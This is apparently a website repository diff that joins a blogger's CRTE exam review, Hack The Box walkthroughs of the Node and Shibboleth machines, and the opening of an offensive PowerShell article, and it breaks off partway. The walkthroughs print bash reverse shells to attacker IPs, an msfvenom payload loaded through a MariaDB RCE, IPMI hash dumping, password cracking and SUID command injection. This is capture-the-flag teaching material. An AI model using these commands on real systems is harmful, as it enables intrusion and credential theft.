I opted for the “On Demand” option and immediately began my lab journey after purchasing it on June 29th. The lab consists of 22 machines distributed across 8 forests, encompassing advanced attack scenarios. These scenarios cover various topics, including abuse of Kerberos Delegation, PAM Trust Abuse, LAPS, Dimond Tickets, MSSQL Abuse, Certificate Services, Shadow Credentials, and more. Additionally, the lab contains a total of 60 flags to discover.

Remarkably, I completed all the flags within 48 hours, spanning 4 days. To ensure I captured all the vital details, I diligently took comprehensive notes using Obsidian, documenting the attack techniques I utilized and the corresponding commands. In the end, you also have the option to tweet about the lab completion.

crte_flags_pwn

Exam Experience

Exam Setup

The CRTE exam offers the flexibility of an on-demand start, eliminating the need for advanced scheduling. The exam setup process typically takes around 10-15 minutes. Upon commencement, you are provided an additional hour of lab access, extending the total exam lab time to 48 hours plus 1 hour. Following the completion of the exam, you are granted an extra 48 hours to prepare and submit a comprehensive report. This report should include meticulous details such as screenshots and tool references for each attack that exploits specific machines.

To successfully pass the CRTE exam, you must demonstrate your proficiency by solving at least 4 out of 5 machines. Alongside your successful exploitation, delivering a high-quality report encompassing key elements such as thorough enumeration, step-by-step exploitation methodology, post-exploitation activities, and suggested mitigations is crucial.

By adhering to these requirements and presenting a well-documented report, you can effectively showcase your understanding of the exam objectives and secure a successful outcome in the CRTE certification exam.

Exam Journey

During my CRTE exam journey, I commenced the examination on July 6th around 12:30 PM. The exam would end in 48 hours and would have an extra 48 hours to submit the reort.

exam-start-img

The initial compromise of the first machine proved to be relatively straightforward, requiring adherence to the basic attack methodology that eventually led me to discover something intriguing. I could attain a reverse shell on the target system by leveraging this discovery.

However, the second machine presented a more challenging task, demanding additional research beyond what was covered in the course materials. Diligent exploration and in-depth investigation on various abuse techniques were necessary to overcome this obstacle successfully.

Fortunately, the third machine posed fewer difficulties, with the attack path becoming quite apparent during the enumeration process. This clarity facilitated a relatively swift compromise.

On the other hand, the fourth machine initially posed a minor setback as I mistakenly assumed a particular attack vector without conducting a thorough enumeration. Once I corrected this oversight and performed comprehensive enumeration, the correct attack path became evident, leading to a successful compromise.

Lastly, the fifth machine followed a similar pattern of relative ease, with the attack path visible, making it more straightforward to exploit and compromise.

I completed the CRTE exam in just 17 hours and submitted the accompanying report within 24 hours.

exam-end

Although I admittedly spent some time exploring non-essential aspects, those who approach the exam more directly can reasonably expect to finish within 6 to 9 hours. By staying focused and minimizing distractions, candidates can optimize their exam experience and achieve efficient results.

Exam Review

exam-exp

Reflecting on my exam experience, I can’t help but recall a popular meme that perfectly encapsulates it all. While the CRTE course delved into numerous advanced attack vectors, it was interesting that those specific vectors weren’t prominently featured in the exam. It’s important to emphasize that this doesn’t necessarily imply that the exam was more challenging or straightforward. Instead, what truly mattered was a comprehensive understanding of the methodology and a strategic approach when dealing with an Active Directory environment.

A solid grasp of the methodology and navigating an Active Directory environment proved crucial during the exam. By applying this knowledge effectively, the exam unfolded smoothly. Moreover, the exam’s success relied on conducting proper research, delving into the necessary techniques, and employing sound practices. Armed with these preparations, compromising each machine became an achievable feat.

Exam Tips

  1. Develop a Methodology: Build a proper methodology for attacking an AD environment, encompassing the enumeration, exploitation, and post-exploitation phases. It is crucial to mention the mitigations for each step exploited in your report, demonstrating a comprehensive understanding of defensive measures.

  2. Focus on Enumeration: Prioritize thorough enumeration as it is the key to uncovering crucial information about the target environment. Invest ample time in gathering details about users, groups, privileges, and potential vulnerabilities.

  3. Utilize BloodHound: Familiarize yourself with the powerful tool BloodHound, which provides valuable insights into AD environments. If needed, employ manual enumeration using PowerShell to gather additional information.

  4. Maintain a List of Attacks and Techniques: Keep a comprehensive list of enumeration techniques and potential attacks. If BloodHound or initial enumeration doesn’t yield desired results, refer to your list to explore alternative attack paths.

  5. Correlate User and Credential Information: Take note of all users and credentials you discover during the exam. Correlating this information may uncover valuable hints or clues for further exploitation and privilege escalation.

  6. Document Mitigations: Pay attention to potential mitigations for the vulnerabilities and attack vectors you encounter. Include these mitigations in your report to showcase your understanding of defensive measures and provide a thorough analysis.

  7. Take Breaks and Manage Stress: Remember to take regular breaks, eat well, and rest during the exam. Managing stress levels and maintaining a clear mindset will help enhance your focus and overall performance.

Feel free to check out my cheat sheet for CRTE exam on my github CRTE-NOTES. This cheat sheet includes additional insights and strategies to help you prepare effectively for the exam.

Conclusion

In conclusion, undertaking the CRTE lab and exam proved to be a rewarding experience. The lab environment provided an excellent platform for practical application, allowing me to exercise the attack vectors covered in the course and explore various chained attacks. The support team demonstrated exceptional responsiveness throughout the lab, promptly addressing any lab-related issues and assisting whenever I encountered challenges.

Transitioning to the exam phase, the difficulty level was relatively moderate. I could successfully navigate the exam with a diligent research approach and well-established methodology. The exam tested not only my technical knowledge but also my ability to apply that knowledge in a methodical manner.

After eagerly awaiting the results, I received the outcome via email after a week, and to my delight, I learned that I had passed the exam!

Bhaskarpal_CRTE

If you find my articles interesting, you can buy me a coffee

This post is licensed under CC BY 4.0 by the author.
diff --git a/posts/HTB-Node-Writeup/index.html b/posts/HTB-Node-Writeup/index.html new file mode 100644 index 00000000..3ee5a62b --- /dev/null +++ b/posts/HTB-Node-Writeup/index.html @@ -0,0 +1,215 @@ + Hack The Box - Node | 0xStarlight
Home Hack The Box - Node
Post
Cancel

Hack The Box - Node

image

Node is about enumerating an Express NodeJS application to find an API endpoint that discloses the usernames and password hashes. To root the box is a simple buffer overflow and possible by three other unintended ways.


Recon

Nmap

The first thing that I do is run nmap scan that show this results:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+
0xStarlight@kali$ nmap -sC -sV -Pn 10.10.10.58 -vv > nmap_scan.conf
+0xStarlight@kali$ cat nmap_scan.conf
+PORT     STATE SERVICE            REASON  VERSION
+# 22/tcp   open  ssh                syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
+| ssh-hostkey: 
+|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
+| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwesV+Yg8+5O97ZnNFclkSnRTeyVnj6XokDNKjhB3+8R2I+r78qJmEgVr/SLJ44XjDzzlm0VGUqTmMP2KxANfISZWjv79Ljho3801fY4nbA43492r+6/VXeer0qhhTM4KhSPod5IxllSU6ZSqAV+O0ccf6FBxgEtiiWnE+ThrRiEjLYnZyyWUgi4pE/WPvaJDWtyfVQIrZohayy+pD7AzkLTrsvWzJVA8Vvf+Ysa0ElHfp3lRnw28WacWSaOyV0bsPdTgiiOwmoN8f9aKe5q7Pg4ZikkxNlqNG1EnuBThgMQbrx72kMHfRYvdwAqxOPbRjV96B2SWNWpxMEVL5tYGb
+|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
+| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKQ4w0iqXrfz0H+KQEu5D6zKCfc6IOH2GRBKKkKOnP/0CrH2I4stmM1C2sGvPLSurZtohhC+l0OSjKaZTxPu4sU=
+|   256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
+|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB5cgCL/RuiM/AqWOqKOIL1uuLLjN9E5vDSBVDqIYU6y
+# 3000/tcp open  hadoop-tasktracker syn-ack Apache Hadoop
+| hadoop-datanode-info: 
+|_  Logs: /login
+| hadoop-tasktracker-info: 
+|_  Logs: /login
+|_http-favicon: Unknown favicon MD5: 30F2CC86275A96B522F9818576EC65CF
+| http-methods: 
+|_  Supported Methods: GET HEAD POST OPTIONS
+|_http-title: MyPlace
+Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
+

From the nmap results, we can see that there is port 3000 which is a web service that running on the server and on port 22 is SSH.

Website - TCP 3000

First of all, we can add the IP to our /etc/host folder as node.htb

1
+2
+
0xStarlight@kali$ sudo nano /etc/host
+10.10.10.58 node.htb
+

Upon visiting the site, it looks like a typical social media site. It has a signup page which is currently closed, and a login page.

image

I tried using some common usernames and passwords to log in, but none of them succeeded. Since it uses NodeJS, there’s a good chance the backend is using MongoDB. I tried some basic NoSQL injections but got no luck. I then tried feroxbuster, but that resulted in the URL redirecting all the pages to the main home page.

So none of those helped me anyhow.

Cracking Hashes

Let us refresh the page, check the network tab, look through all the *.js files, and check if we find any interesting files.

image

I found an interesting js file that makes a GET request to another js file to pull down all the profiles.

1
+2
+3
+4
+
GET /assets/js/app/controllers/profile.js HTTP/1.1
+Host: node.htb:3000
+Connection: keep-alive
+[SNIP...]
+

Let us look at the source code of the js file.

image

It is making a GET API request to /api/users seems to pull down the username parameter

Upon visiting the endpoint, we can see that it contains all the user’s IDs, usernames and hashes, which will allow us to log in to the webpage.

image

We can grab the hashes and try cracking them on crackstation to get the passwords in plain text.

image

Great now we have the username and passwords in plain text. Let’s login on to the web page as myP14ceAdm1nAcc0uNT as it has admin privileges.

image

Shell as Mark

myplace.backup

After Logging in, there was an option to download a backup file. We can download the file on our local machine and start to analyze it.

We can try checking the file type first.

1
+2
+
0xStarlight@kali$ file myplace.backup           
+myplace.backup: ASCII text, with very long lines, with no line terminators
+

It says ASCII text. Let us read the content of the file.

1
+2
+3
+4
+
0xStarlight@kali$ cat myplace.backup                                            
+
+UEsDBAoAAAAAAHtvI0sAAAAAAAAAAAAAAAAQABwAdmFyL3d3dy9teXBsYWNlL1VUCQADyfyrWXrgd2F1eAsAAQQAAAAABAAAAABQSwMEFAAJAAgARQEiS0x97zc0EQAAEFMAACEAHAB2YXIvd3d3L215cGxhY2UvcGFja2FnZS1sb2NrLmpzb25VVAkAA9HoqVlL/8pZdXgLAAEEAAAAAAQAAAAAynsHjHtvHInyMHK96c66FXUMDUOwEAWe+Am9h6156G33NE/wuxHi0dnBAx8vweFPkPqZtCDL3hM4F+eobU5Cerzkqznx9Fu1mCWfZFHymBPNt+ihMv+mlQbBfTJ6VQrUVmgoxcEt51mXSx5sWQ/92wOT0aZs1cxrWnlpfAS+mRr/a8HjU8ZqF6XiEhR9EIaLPeuXGFRaB7o9mT0/YvtfL1zSnzme5kdmQhquEV/4Zxo4lJv5JTbxPJeC
+[SNIP...]
+

It seems like base64 encoded ASCII text. We can pipe the file content as base64, store it into another file, and recheck the file type.

1
+2
+3
+4
+
0xStarlight@kali$ cat myplace.backup | base64 -d > unknown_file
+
+0xStarlight@kali$ file unknown_file  
+unknown_file: Zip archive data, at least v1.0 to extract
+

It results in a Zip archive data file. When trying to unzip, it requires a password. We can crack the password by fcrackzip using rockyou.txt as the wordlist.

1
+2
+3
+
0xStarlight@kali$ fcrackzip -u -D -p /home/kali/rockyou.txt unknown_file 
+
+PASSWORD FOUND!!!!: pw == magicword
+

Lets unzip the file and check the archived content

1
+2
+
0xStarlight@kali$ ls                                                                                 
+app.html  app.js  node_modules  package.json  package-lock.json  static
+

After reading the content in app.js we can get the credentials to connect to MongoDB on localhost to myspace process.

1
+
0xStarlight@kali$ batcat app.js
+

image

mark:5AYRft[SNIP…]

SSH as Mark

Let us try to logon as SSH as Mark with the same password we found from the app.js file. Maybe password reuse?

1
+
0xStarlight@kali$ ssh mark@10.10.10.58
+

Great we logged on !

image

Shell as Tom

We found MongoDB running on Mark’s machine from the downloaded backup file. We check if any node services are running on the machine and try to connect it as Mark.

1
+2
+3
+4
+
mark@node:/home$ ps aux | grep node
+tom       1230  0.0  5.3 1008056 40400 ?       Ssl  18:55   0:01 /usr/bin/node /var/scheduler/app.js
+tom       1234  0.0  5.6 1019880 42936 ?       Ssl  18:55   0:01 /usr/bin/node /var/www/myplace/app.js
+mark      1541  0.0  0.1  14228   940 pts/0    S+   19:37   0:00 grep --color=auto node
+

It looks like Tom has the same file running on a different process Let’s read the content from /var/scheduler/app.js file.

image

It looks like it creates a DB collection named task. It takes an input parameter as cmd on line 18 and executes it, and then deletes it after the execution is done. So now we can privilege escalation by injecting a reverse shell in the cmd parameter. Let us try to connect to mongo DB as Mark using the scheduler process.

1
+
mark@node:/home$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
+

image

It seems like the DB is empty after querying the data collections.

1
+2
+3
+4
+5
+6
+
> show collections
+tasks
+> db.tasks.find()
+> 
+> db.task.count()
+0
+

Let us add an object in the tasks collections with a cmd parameter containing a reverse shell that will connect back to Tom since the scheduler process is running as Tom.

1
+2
+3
+
> db.tasks.insert({"cmd": "bash -c 'bash -i >& /dev/tcp/10.10.14.17/9999 0>&1'"})
+WriteResult({ "nInserted" : 1 })
+>
+

We got a shell as Tom !

image

backup SUID

Let us check the SUID privileges for Tom user and search for any interesting files.

1
+
tom@node:/home$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
+

image

I found an interesting file backup, with file permissions as admin to execute. We can execute the file since we have GUID as admin as Tom. On executing the file, it doesn’t return anything.

1
+
tom@node:/$ /usr/local/bin/backup
+

I do remember that there was a process that spawns backup on api.js whcih we found earlier. Let’s read that and see what it does.

1
+
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
+

image

It takes three parameters: -q, then a backup key and a directory name. Let us run the file using strace to check what’s happening.

1
+
tom@node:/$ strace /usr/local/bin/backup a a a
+

At the end of the file we can notice its trying read the content of "/etc/myplace/keys" file.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
[SNIP...]
+
+) = 81
+write(1, "\n", 1
+)                       = 1
+open("/etc/myplace/keys", O_RDONLY)     = 3
+fstat64(3, {st_mode=S_IFREG|0644, st_size=196, ...}) = 0
+read(3, "a01a6aa5aaf1d7729f35c8278daae30f"..., 4096) = 196
+read(3, "", 4096)                       = 0
+write(1, " \33[33m[!]\33[37m Ah-ah-ah! You did"..., 57 [!] Ah-ah-ah! You didn't say the magic word!
+
+) = 57
+[SNIP...]
+

After reading the file’s content, We can figure that it contains some keys. Maybe we can use these keys and read the root directory?

1
+2
+3
+4
+
tom@node:/$ cat /etc/myplace/keys
+a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
+45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
+3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
+

Shell as Root

Read Flag only [ Path I ]

Since now we have the keys and know how it works, let us try to read the root directory folder.

1
+
tom@node:/$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /root
+

image

Let us transfer the output to our local machine and analyze it. It looks like base64, and piping it out to a file and analyzing it tells it is a zip file. We can use the same password as last time to crack the zip and read the data.

1
+2
+
0xStarlight@kali$ cat unknown | base64 -d > unknown.zip
+0xStarlight@kali$ unzip unknown.zip
+

After extracting the file it gives us root.txt Let us read the content of the file.

1
+
0xStarlight@kali$ cat root.txt
+

Its a troll ! :( I guess its not that easy

image

Let us try it out again without / in /root while entering the parameter. I am just guessing and checking the result.

1
+
tom@node:/$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 root
+

It has way more output this time. Let us do the same steps as before, extract the file and then read the file’s contents.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
0xStarlight@kali$ unzip decode.zip 
+Archive:  decode1.zip
+   creating: root/
+[decode1.zip] root/.profile password: 
+  inflating: root/.profile           
+  inflating: root/.bash_history      
+   creating: root/.cache/
+ extracting: root/.cache/motd.legal-displayed  
+ extracting: root/root.txt           
+  inflating: root/.bashrc            
+  inflating: root/.viminfo           
+   creating: root/.nano/
+ extracting: root/.nano/search_history 
+

It looks like we have root.txt 🥳. But it’s not over yet. We don’t have a shell.

Wild Characters [ Path - II ]

Let’s transfer this file over to our local host machine and analyze the file on binaryninja. Open the main function in the disassembly Graph view.

image

After scrolling down, we can see that it has /root as a bad character, resulting in the troll ASCII Art.

image

image

Further Scrolling down, we can get a list of all the bad chars that it doesn’t allow.

  1. ..

image

image

And if we go on doing this, we will find all the bad characters.

1
+
Bad chars : .. /root ; & ` $ | /etc // / etc
+

Looking at our bad chars list, we don’t have the * nor ~ sign. We can use this to bypass and read the /root directories files and content. For example, if we do the following command on our local machine.

1
+2
+3
+
$ cd ~
+$ cd r**t
+$ cd r??t
+

We will be returned to our home directory since there is no other directory it can get returned to. Hence we can read the root flag this way. Let us try it out.

1
+
tom@node:/$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /r**t/roo*.txt
+

This gives us the root.txt file content.

image

We can do the same steps as privilege escalation 1 to extract the file and retrieve the flag. We can also try to read the /etc/passwd file and then try to crack it, then SSH as root on the machine.

1
+
tom@node:/$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 "/e*c/shado*" ; echo
+

image

Extract the file by the same methods above, and then we can read the shadow file root hashes.

image

Command Injection [ Path-III ]

Open the main function in the disassembly Graph view. Scroll down to the part where it executes the zip command if the parameters are correct.

image

Here we can see it has the exec command for zipping the data, and below that, we can also see that it calls the system; which means we might be able to do command injection on the third parameter with the help of a new line and get root and it is not a bad char as well. Now let us find out how we can do the command injection.

Open the main function in ELF Linear View. We can see a command which gets executed if we enter the correct magic word. It will zip the file content in base64 and display it to us on the screen.

1
+
"/usr/bin/zip -r -P magicword %s %s > /dev/null"
+

image

As per the command, we can see it takes the last argument and pushes it to /dev/null. Hence, the command won’t execute it. So we can try to execute /bin/bash and get a root shell! We can do the command injection something like this.

1
+2
+3
+
"randomblahbla
+/bin/bash
+randomblahba"
+

We can’t do command injection in the first parameter since it has a bad char check for / but not for the chars on a new line, and we can’t put it at the end as it will get flushed out to /dev/null.

Lets try it out

image

WE ARE ROOT !!

BOF [ Path - IV ]

A really good blog is written for this method of priv esc https://rastating.github.io/hackthebox-node-walkthrough/

Box Rooted

image

HTB Profile : 0xStarlight

If you find my articles interesting, you can buy me a coffee

This post is licensed under CC BY 4.0 by the author.
diff --git a/posts/HTB-Shibboleth/index.html b/posts/HTB-Shibboleth/index.html new file mode 100644 index 00000000..3eb2358e --- /dev/null +++ b/posts/HTB-Shibboleth/index.html @@ -0,0 +1,171 @@ + Hack The Box - Shibboleth | 0xStarlight
Home Hack The Box - Shibboleth
Post
Cancel

Hack The Box - Shibboleth

image

Shibboleth is about enumerating the UDP ports through which we can find IPMI service is running. We can dump the administrator hashes and log in to one of Shibboleth’s subdomains, where we can get RCE and an initial shell as Zabbix. With password reuse, we can move laterally to ipmi-svc. To root the box, it’s a simple RCE on an outdated version of MySQL.


Recon

Nmap

The first thing that I do is run nmap scan enumerating tcp and udp that show this results :

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
0xStarlight@kali$ nmap -sC -sV -Pn 10.10.11.124 -vv > nmap_tcp_scan.conf
+0xStarlight@kali$ nmap -sC -sV -sU -Pn 10.10.11.124 -vv > nmap_udp_scan.conf
+0xStarlight@kali$ cat nmap_tcp_scan.conf nmap_udp_scan.conf
+
+[SNIP...]
+PORT   STATE SERVICE    REASON  VERSION
+80/tcp open  tcpwrapped syn-ack
+| http-methods: 
+|_  Supported Methods: GET HEAD POST OPTIONS
+|_http-server-header: Apache/2.4.41 (Ubuntu)
+|_http-title: Did not follow redirect to http://shibboleth.htb/
+|
+PORT    STATE SERVICE  VERSION
+623/udp open  asf-rmcp
+1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
+SF-Port623-UDP:V=7.91%I=7%D=1/15%Time=61E2A6CF%P=x86_64-pc-linux-gnu%r(ipm
+SF:i-rmcp,1E,"\x06\0\xff\x07\0\0\0\0\0\0\0\0\0\x10\x81\x1cc\x20\x008\0\x01
+SF:\x97\x04\x03\0\0\0\0\t");
+

From the Nmap results, we can see that there is port 80, which is a web service apache 2.4.41, is running on the server with a hostname of shibboleth.htb. So we can add it to our /etc/hosts file.

On port 623, we can see the asf-rmcp service running. UDP IPMI service on port 623 is a quick way of discovering BMCs on the network.

shibboleth.htb - TCP 80

Upon visiting the site, it seems to be made out of bootstrap. It has a few pages visible on the top. There is also a contact form which returns an error when submitted.

image

I tried feroxbuster, but no interesting page was returned to me. At the bottom of the page, we can view how the server is hosted.

Powered by enterprise monitoring solutions based on Zabbix and Bare Metal BMC automation.

Doing a lot of research on Bare Metal BMC displays many references about IPMI.

image

Subdomain Fuzzing

The next thing I tried was subdomain fuzzing using ffuf. I’ll start the scan and immediately kill it, then use the -fw tag to hide all the pages redirecting me to status 302 with word 18.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+
0xStarlight@kali$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://shibboleth.htb/ -H "Host: FUZZ.shibboleth.htb" -fw 18                        
+
+        /'___\  /'___\           /'___\       
+       /\ \__/ /\ \__/  __  __  /\ \__/       
+       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
+        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
+         \ \_\   \ \_\  \ \____/  \ \_\       
+          \/_/    \/_/   \/___/    \/_/       
+
+       v1.3.0 Kali Exclusive <3
+________________________________________________
+
+ :: Method           : GET
+ :: URL              : http://shibboleth.htb/
+ :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
+ :: Header           : Host: FUZZ.shibboleth.htb
+ :: Follow redirects : false
+ :: Calibration      : false
+ :: Timeout          : 10
+ :: Threads          : 40
+ :: Matcher          : Response status: 200,204,301,302,307,401,403,405
+ :: Filter           : Response words: 18
+________________________________________________
+
+monitor                 [Status: 200, Size: 3684, Words: 192, Lines: 30]
+monitoring              [Status: 200, Size: 3684, Words: 192, Lines: 30]
+zabbix                  [Status: 200, Size: 3684, Words: 192, Lines: 30]
+

I’ll add each of those to /etc/hosts as well:

1
+
10.10.11.124 shibboleth.htb monitor.shibboleth.htb monitoring.shibboleth.htb zabbix.shibboleth.htb
+

monitor.shibboleth.htb - TCP 80

We can see ZABBIX is running on this subdomain upon visiting the site. At the bottom, we can see the copyright till 2021. So this means we could be an outdated service abuse. Since we saw from shibboleth.htb is powered by Bare Metal BMC automation, there could be a chance that we could abuse IMPI to get a valid login credential to log in.

image

IMPI - UDP 623

One of the blogs, I read while researching stated that Most BMCs expose some form of web-based management, a command-line interface such as Telnet or Secure Shell, and the IPMI network protocol on port 623 (UDP and sometimes TCP).

The article on Hacktricks demonstrated the exploitation of IMPI and dumping of the users hashes.

Basically, you can ask the server for the hashes MD5 and SHA1 of any username and if the username exists those hashes will be sent back. Yeah, as amazing as it sounds. And there is a metasploit module for testing this.

1
+2
+3
+4
+5
+
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
+msf > set rhosts 10.10.11.124
+msf > exploit
+
+[+] 10.10.11.124:623 - IPMI - Hash found: Administrator:2b68c64d82280000a8c1a7e2d84aba3e0410df33d1bf8d7f39a69fefdb2a49b26877364dbe132618a123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:b2726f78047e0ccb5324cb8a4701686d29ad00a5
+

Now we have the administrators hash. we can crack the hash using hashcat and try to login using the found credentials.

1
+2
+3
+
0xStarlight@kali$ hashcat -m 7300 hash /home/kali/rockyou.txt
+
+password : ilovepumkinpie1
+

Shell as Zabbix

Great, now we have Administrator user valid credentials.

UseranamePassword
Administratorilovepumkinpie1

We can go back to monitor.shibboleth.htb and log in as Administrator.

image

The end of the dashboard page displays the version of Zabbix, i.e., Zabbix 5.0.17. © 2001–2021, Zabbix SIA. I tried to google if there were any documents or any pre available exploits for the version Zabbix is running on.

After a lot of digging, I couldn’t find any pre available exploits for abusing Zabbix 5.0.17. Still, on reading the documentation of the Zabbix agent, the system data command mentioned that it was possible for command execution using the system.run[command,<mode>] function.

image

Let’s try it out. First, set a listener on our machine.

1
+
0xStarlight@kali$ sudo rlwrap nc -lnvp 8888
+

Navigate to the following –> Configurations > Host > Items > create item

We can inject our payload for a reverse shell into the key value and then test the value to execute the command.

1
+
system.run[/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.x.x/8888 0>&1",nowait]
+

image

Shell as ipmi-svc

After receiving a reverse shell from Zabbix, we can make it into a stable shell to work on it more efficiently.

1
+
zabbix@shibboleth:/$ python3 -c "import pty;pty.spawn('/bin/bash')"
+

I identified another user on the machine, ipmi-svc. Since we already have a credential found, we can try to use that to elevate to that user.

1
+2
+3
+4
+5
+6
+
zabbix@shibboleth:/$ su ipmi-svc
+password : ilovepumkinpie1
+
+ipmi-svc@shibboleth:/$ whoami;id
+ipmi-svc
+uid=1000(ipmi-svc) gid=1000(ipmi-svc) groups=1000(ipmi-svc)
+

Enumeration

The first thing I checked was Zabbix config file stored as /etc/zabbix/ to check if there would be any other user’s credentials hardcoded into it, which we may use for privilege escalation.

1
+
ipmi-svc@shibboleth:/$ grep -iR 'password' /etc/zabbix/ 2>/dev/null
+

image

Further reading the file, we can find the username and the password to access Zabbix’s database server.

UseranameDBUserDBPassword
zabbixzabbixbloooarskybluh

I also ran linpeas on another shell to check if it returned anything interesting. It displayed MySQL is running on the machine on port 3306.

image

Shell as Root

We can log in to the MYSQL databases server with the above credential.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
ipmi-svc@shibboleth:/$ mysql -u zabbix -p -D zabbix
+password : bloooarskybluh
+
+Reading table information for completion of table and column names
+You can turn off this feature to get a quicker startup with -A
+
+Welcome to the MariaDB monitor.  Commands end with ; or \g.
+Your MariaDB connection id is 17592
+Server version: 10.3.25-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
+
+Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
+
+Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
+
+MariaDB [zabbix]> 
+

On reading the server version, it’s currently running on MariaDB 10.3.25, an older version of MariaDB. Doing a quick google search, I found out it was vulnerable to remote code execution, which would give us privileged access as root user using CVE-2021-27928.

Using the CVE we can craft our payload and get root access.

Local Machine

Create the reverse shell payload and start the listener.

1
+2
+
0xStarlight@kali$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.x.x LPORT=9999 -f elf-so -o shell.so
+0xStarlight@kali$ sudo rlwrap nc -lnvp 9999
+

We can start a python server so we can transfer the file on ipmi-svc using wget.

1
+
0xStarlight@kali$ python3 -m http.server 80
+

ipmi-svc Machine

Transfer the file, execute the payload and check on the listening listener to get a shell as root.

1
+2
+3
+
ipmi-svc@shibboleth:/$ wget http://10.10.x.x/shell.so -o /tmp/shell.so
+ipmi-svc@shibboleth:/$ mysql -u zabbix -p -D zabbix -e 'SET GLOBAL wsrep_provider="/tmp/shell.so";'
+password : bloooarskybluh
+

image

Box Rooted

image

HTB Profile : 0xStarlight

If you find my articles interesting, you can buy me a coffee

This post is licensed under CC BY 4.0 by the author.
diff --git a/posts/Offensive-powershell/index.html b/posts/Offensive-powershell/index.html new file mode 100644 index 00000000..dd59a1b4 --- /dev/null +++ b/posts/Offensive-powershell/index.html @@ -0,0 +1,245 @@ + Active Directory - Offensive PowerShell | 0xStarlight
Home Active Directory - Offensive PowerShell
Post
Cancel

Active Directory - Offensive PowerShell

image

Introduction

Welcome to my second article in the Red Teaming Series (Offensive PowerShell). I hope everyone has gone through the first article of this series which explains the basic foundations and concepts required to understand Active Directory.

If not so, you can give it a read from here.

This guide aims to explain the complete basics to advance enumeration code snippets in Offensive PowerShell and those terms that every pentester/red-teamer should control to understand the attacks performed in an Active Directory network. You may refer to this as a Cheat-Sheet also.

This article will not contain any Attacking PowerShell snippets, ie. Local Privilege Escalation, Domain Persistence, Golden ticket, Silver ticket. The following topics will be covered in a later article.

I will cover the following topics under this guide:

  1. Introduction to PowerShell
  2. Bypassing AMSI and Real-Time-monitoring
  3. Basic Enumeration
  4. GPO Enumeration
  5. ACL Enumeration
  6. Trusts Enumeration
  7. BloodHound Enumeration

Throughout the article, I will use PowerView, which is based on Powershell, to show how to retrieve information from Active Directory. This article has been created with references from a few other articles All used references for completing this article will be listed below. —

Introduction to PowerShell

What is Powershell

Powershell is the Windows Scripting Language and shell environment that is built using the .NET framework.

This also allows Powershell to execute .NET functions directly from its shell. Most Powershell commands, called cmdlets, are written in .NET. Unlike other scripting languages and shell environments, the output of these cmdlets are objects - making Powershell somewhat object oriented. This also means that running cmdlets allows you to perform actions on the output object(which makes it convenient to pass output from one cmdlet to another). The normal format of a cmdlet is represented using Verb-Noun; for example the cmdlet to list commands is called Get-Command.

Common verbs to use include:

  • Get
  • Start
  • Stop
  • Read
  • Write
  • New
  • Out

Using Get-Help

Get-Help displays information about a cmdlet. To get help about a particular command, run the following:

1
+
Get-Help Command-Name
+

You can also understand how exactly to use the command by passing in the -examples flag. This would return output like the following:

Using Get-Command

Get-Command gets all the cmdlets installed on the current Computer. The great thing about this cmdlet is that it allows for pattern matching like the following

1
+2
+3
+
Get-Command Verb-*
+# OR
+Get-Command *-Noun
+

Running the following to view all the cmdlets for the verb new displays the following:

1
+
Get-Command New-*
+

Object Manipulation

In the previous task, we saw how the output of every cmdlet is an object. If we want to actually manipulate the output, we need to figure out a few things:

  • passing output to other cmdlets
  • using specific object cmdlets to extract information

The Pipeline(|) is used to pass output from one cmdlet to another. A major difference compared to other shells is that instead of passing text or string to the command after the pipe, powershell passes an object to the next cmdlet. Like every object in object oriented frameworks, an object will contain methods and properties. You can think of methods as functions that can be applied to output from the cmdlet and you can think of properties as variables in the output from a cmdlet. To view these details, pass the output of a cmdlet to the Get-Member cmdlet

1
+
